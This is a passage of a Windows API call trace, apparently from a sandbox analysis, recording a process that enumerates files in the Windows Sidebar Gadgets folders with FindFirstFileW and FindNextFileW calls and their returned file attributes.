dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0061.184] GetLastError () returned 0x12 [0061.184] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8061433b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8061433b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0061.253] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8061433b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8061433b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.253] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce029cd, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3ce029cd, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3ce029cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1369, dwReserved0=0x0, dwReserved1=0x0, cFileName="16-on-black.gif", cAlternateFileName="")) returned 1 [0061.253] GetLastError () returned 0x12 [0061.254] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0061.255] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0061.255] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cff1b93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0061.255] GetLastError () returned 0x12 [0061.255] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0061.255] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0061.256] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlideShow.Gadget", cAlternateFileName="SLIDES~1.GAD")) returned 1 [0061.256] GetLastError () returned 0x12 [0061.257] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0061.273] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.274] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d3f607d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7575, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0061.274] GetLastError () returned 0x12 [0061.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0061.275] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.275] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0061.275] GetLastError () returned 0x12 [0061.275] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0061.275] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.275] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0061.275] GetLastError () returned 0x12 [0061.275] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0061.276] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0061.276] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0061.276] GetLastError () returned 0x12 [0061.276] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0061.276] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.276] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 1 [0061.276] GetLastError () returned 0x12 [0061.276] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0061.276] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0061.276] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1910, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0061.276] GetLastError () returned 0x12 [0061.276] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0061.277] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0061.277] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d442339, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d442339, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d442339, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2732, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0061.277] GetLastError () returned 0x12 [0061.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0061.324] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.325] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b43b7f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b43b7f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d468497, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.png", cAlternateFileName="")) returned 1 [0061.325] GetLastError () returned 0x12 [0061.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0061.325] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.325] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5e5243, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d5e5243, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d5e5243, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_sidebar.png", cAlternateFileName="")) returned 1 [0061.325] GetLastError () returned 0x12 [0061.325] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0061.325] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0061.325] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d78814d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d78814d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d78814d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_down.png", cAlternateFileName="")) returned 1 [0061.325] GetLastError () returned 0x12 [0061.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0061.326] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.326] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9e972d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d9e972d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d9e972d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0061.326] GetLastError () returned 0x12 [0061.326] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0061.327] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0061.327] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b69cdc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b69cdc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da0f88b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbca, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_down.png", cAlternateFileName="")) returned 1 [0061.327] GetLastError () returned 0x12 [0061.328] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0061.328] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0061.328] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db4037b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0061.328] GetLastError () returned 0x12 [0061.328] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0061.328] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0061.329] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="WEATHE~1.GAD")) returned 1 [0061.329] GetLastError () returned 0x12 [0061.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0061.329] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.329] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876a3657, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876a3657, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2a5f4919, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0061.329] GetLastError () returned 0x12 [0061.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0061.337] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.337] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0061.337] GetLastError () returned 0x12 [0061.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\*"), 